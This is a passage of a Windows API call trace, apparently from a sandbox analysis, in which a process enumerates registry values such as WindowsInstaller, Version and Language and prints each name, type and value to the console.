(_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.244] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0147.244] _fileno (_File=0x7fefd702ab0) returned 1 [0147.244] _errno () returned 0xc4bb0 [0147.244] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.244] _errno () returned 0xc4bb0 [0147.244] GetFileType (hFile=0x50) returned 0x1 [0147.244] lstrlenW (lpString="0x0") returned 3 [0147.244] GetConsoleOutputCP () returned 0x1b5 [0147.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.244] GetConsoleOutputCP () returned 0x1b5 [0147.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0147.245] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.245] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.245] __iob_func () returned 0x7fefd702a80 [0147.245] _fileno (_File=0x7fefd702ab0) returned 1 [0147.245] _errno () returned 0xc4bb0 [0147.245] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.245] _errno () returned 0xc4bb0 [0147.245] GetFileType (hFile=0x50) returned 0x1 [0147.245] lstrlenW (lpString="\n") returned 1 [0147.245] GetConsoleOutputCP () returned 0x1b5 [0147.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.245] GetConsoleOutputCP () returned 0x1b5 [0147.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.245] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.245] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.245] GetProcessHeap () returned 0x2e0000 [0147.245] GetProcessHeap () returned 0x2e0000 [0147.245] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.245] GetProcessHeap () returned 0x2e0000 [0147.245] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.245] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.245] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.246] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.246] GetProcessHeap () returned 0x2e0000 [0147.246] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.246] GetProcessHeap () returned 0x2e0000 [0147.246] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.246] GetProcessHeap () returned 0x2e0000 [0147.246] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.246] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.246] __iob_func () returned 0x7fefd702a80 [0147.246] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.246] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.246] _fileno (_File=0x7fefd702ab0) returned 1 [0147.246] _errno () returned 0xc4bb0 [0147.246] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.246] _errno () returned 0xc4bb0 [0147.246] GetFileType (hFile=0x50) returned 0x1 [0147.246] lstrlenW (lpString=" ") returned 4 [0147.246] GetConsoleOutputCP () returned 0x1b5 [0147.246] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.246] GetConsoleOutputCP () returned 0x1b5 [0147.246] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.246] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.246] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.246] lstrlenW (lpString="WindowsInstaller") returned 16 [0147.246] __iob_func () returned 0x7fefd702a80 [0147.246] _fileno (_File=0x7fefd702ab0) returned 1 [0147.246] _errno () returned 0xc4bb0 [0147.246] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.247] _errno () returned 0xc4bb0 [0147.247] GetFileType (hFile=0x50) returned 0x1 [0147.247] lstrlenW (lpString="WindowsInstaller") returned 16 [0147.247] GetConsoleOutputCP () returned 0x1b5 [0147.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0147.247] GetConsoleOutputCP () returned 0x1b5 [0147.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0147.247] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0147.247] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.247] __iob_func () returned 0x7fefd702a80 [0147.247] _fileno (_File=0x7fefd702ab0) returned 1 [0147.247] _errno () returned 0xc4bb0 [0147.247] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.247] _errno () returned 0xc4bb0 [0147.247] GetFileType (hFile=0x50) returned 0x1 [0147.247] lstrlenW (lpString=" ") returned 4 [0147.247] GetConsoleOutputCP () returned 0x1b5 [0147.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.247] GetConsoleOutputCP () returned 0x1b5 [0147.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.247] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.247] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.248] __iob_func () returned 0x7fefd702a80 [0147.248] _fileno (_File=0x7fefd702ab0) returned 1 [0147.248] _errno () returned 0xc4bb0 [0147.248] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.248] _errno () returned 0xc4bb0 [0147.248] GetFileType (hFile=0x50) returned 0x1 [0147.248] lstrlenW (lpString="REG_DWORD") returned 9 [0147.248] GetConsoleOutputCP () returned 0x1b5 [0147.248] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.248] GetConsoleOutputCP () returned 0x1b5 [0147.248] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.248] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.248] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.248] __iob_func () returned 0x7fefd702a80 [0147.248] _fileno (_File=0x7fefd702ab0) returned 1 [0147.248] _errno () returned 0xc4bb0 [0147.248] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.248] _errno () returned 0xc4bb0 [0147.248] GetFileType (hFile=0x50) returned 0x1 [0147.248] lstrlenW (lpString=" ") returned 4 [0147.248] GetConsoleOutputCP () returned 0x1b5 [0147.248] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.248] GetConsoleOutputCP () returned 0x1b5 [0147.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.249] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.249] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.249] __iob_func () returned 0x7fefd702a80 [0147.249] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.249] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.249] _fileno (_File=0x7fefd702ab0) returned 1 [0147.249] _errno () returned 0xc4bb0 [0147.249] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.249] _errno () returned 0xc4bb0 [0147.249] GetFileType (hFile=0x50) returned 0x1 [0147.249] lstrlenW (lpString="0x1") returned 3 [0147.249] GetConsoleOutputCP () returned 0x1b5 [0147.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.249] GetConsoleOutputCP () returned 0x1b5 [0147.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.249] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.249] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.249] __iob_func () returned 0x7fefd702a80 [0147.249] _fileno (_File=0x7fefd702ab0) returned 1 [0147.249] _errno () returned 0xc4bb0 [0147.249] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.249] _errno () returned 0xc4bb0 [0147.249] GetFileType (hFile=0x50) returned 0x1 [0147.249] lstrlenW (lpString="\n") returned 1 [0147.250] GetConsoleOutputCP () returned 0x1b5 [0147.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.250] GetConsoleOutputCP () returned 0x1b5 [0147.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.250] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.250] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.250] GetProcessHeap () returned 0x2e0000 [0147.250] GetProcessHeap () returned 0x2e0000 [0147.250] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.250] GetProcessHeap () returned 0x2e0000 [0147.250] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.250] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.250] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.250] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.250] GetProcessHeap () returned 0x2e0000 [0147.250] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.250] GetProcessHeap () returned 0x2e0000 [0147.250] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.250] GetProcessHeap () returned 0x2e0000 [0147.250] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.250] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0xb00ee66, pcbData=0x23f670*=0x4) returned 0x0 [0147.250] __iob_func () returned 0x7fefd702a80 [0147.250] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.250] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.250] _fileno (_File=0x7fefd702ab0) returned 1 [0147.250] _errno () returned 0xc4bb0 [0147.250] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.250] _errno () returned 0xc4bb0 [0147.250] GetFileType (hFile=0x50) returned 0x1 [0147.251] lstrlenW (lpString=" ") returned 4 [0147.251] GetConsoleOutputCP () returned 0x1b5 [0147.251] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.251] GetConsoleOutputCP () returned 0x1b5 [0147.251] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.251] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.251] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.251] lstrlenW (lpString="Version") returned 7 [0147.251] __iob_func () returned 0x7fefd702a80 [0147.251] _fileno (_File=0x7fefd702ab0) returned 1 [0147.251] _errno () returned 0xc4bb0 [0147.251] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.251] _errno () returned 0xc4bb0 [0147.251] GetFileType (hFile=0x50) returned 0x1 [0147.251] lstrlenW (lpString="Version") returned 7 [0147.251] GetConsoleOutputCP () returned 0x1b5 [0147.251] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0147.251] GetConsoleOutputCP () returned 0x1b5 [0147.251] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0147.251] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0147.251] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.252] __iob_func () returned 0x7fefd702a80 [0147.252] _fileno (_File=0x7fefd702ab0) returned 1 [0147.252] _errno () returned 0xc4bb0 [0147.252] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.252] _errno () returned 0xc4bb0 [0147.252] GetFileType (hFile=0x50) returned 0x1 [0147.252] lstrlenW (lpString=" ") returned 4 [0147.252] GetConsoleOutputCP () returned 0x1b5 [0147.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.252] GetConsoleOutputCP () returned 0x1b5 [0147.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.252] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.252] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.252] __iob_func () returned 0x7fefd702a80 [0147.252] _fileno (_File=0x7fefd702ab0) returned 1 [0147.252] _errno () returned 0xc4bb0 [0147.252] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.252] _errno () returned 0xc4bb0 [0147.252] GetFileType (hFile=0x50) returned 0x1 [0147.252] lstrlenW (lpString="REG_DWORD") returned 9 [0147.252] GetConsoleOutputCP () returned 0x1b5 [0147.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.252] GetConsoleOutputCP () returned 0x1b5 [0147.253] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.253] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.253] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.253] __iob_func () returned 0x7fefd702a80 [0147.253] _fileno (_File=0x7fefd702ab0) returned 1 [0147.253] _errno () returned 0xc4bb0 [0147.253] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.253] _errno () returned 0xc4bb0 [0147.253] GetFileType (hFile=0x50) returned 0x1 [0147.253] lstrlenW (lpString=" ") returned 4 [0147.253] GetConsoleOutputCP () returned 0x1b5 [0147.253] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.253] GetConsoleOutputCP () returned 0x1b5 [0147.253] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.253] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.253] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.253] __iob_func () returned 0x7fefd702a80 [0147.253] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.253] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0xb00ee66") returned 9 [0147.253] _fileno (_File=0x7fefd702ab0) returned 1 [0147.253] _errno () returned 0xc4bb0 [0147.253] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.253] _errno () returned 0xc4bb0 [0147.253] GetFileType (hFile=0x50) returned 0x1 [0147.253] lstrlenW (lpString="0xb00ee66") returned 9 [0147.254] GetConsoleOutputCP () returned 0x1b5 [0147.254] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb00ee66", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.254] GetConsoleOutputCP () returned 0x1b5 [0147.254] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb00ee66", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xb00ee66", lpUsedDefaultChar=0x0) returned 9 [0147.254] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.254] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.254] __iob_func () returned 0x7fefd702a80 [0147.254] _fileno (_File=0x7fefd702ab0) returned 1 [0147.254] _errno () returned 0xc4bb0 [0147.254] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.254] _errno () returned 0xc4bb0 [0147.254] GetFileType (hFile=0x50) returned 0x1 [0147.254] lstrlenW (lpString="\n") returned 1 [0147.254] GetConsoleOutputCP () returned 0x1b5 [0147.254] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.254] GetConsoleOutputCP () returned 0x1b5 [0147.254] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.254] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.254] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.254] GetProcessHeap () returned 0x2e0000 [0147.254] GetProcessHeap () returned 0x2e0000 [0147.255] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.255] GetProcessHeap () returned 0x2e0000 [0147.255] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.255] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.255] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.255] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.255] GetProcessHeap () returned 0x2e0000 [0147.255] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.255] GetProcessHeap () returned 0x2e0000 [0147.255] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.255] GetProcessHeap () returned 0x2e0000 [0147.255] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.255] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x409, pcbData=0x23f670*=0x4) returned 0x0 [0147.255] __iob_func () returned 0x7fefd702a80 [0147.255] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.255] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.255] _fileno (_File=0x7fefd702ab0) returned 1 [0147.255] _errno () returned 0xc4bb0 [0147.255] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.255] _errno () returned 0xc4bb0 [0147.255] GetFileType (hFile=0x50) returned 0x1 [0147.255] lstrlenW (lpString=" ") returned 4 [0147.255] GetConsoleOutputCP () returned 0x1b5 [0147.255] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.255] GetConsoleOutputCP () returned 0x1b5 [0147.255] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.255] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.255] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.256] lstrlenW (lpString="Language") returned 8 [0147.256] __iob_func () returned 0x7fefd702a80 [0147.256] _fileno (_File=0x7fefd702ab0) returned 1 [0147.256] _errno () returned 0xc4bb0 [0147.256] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.256] _errno () returned 0xc4bb0 [0147.256] GetFileType (hFile=0x50) returned 0x1 [0147.256] lstrlenW 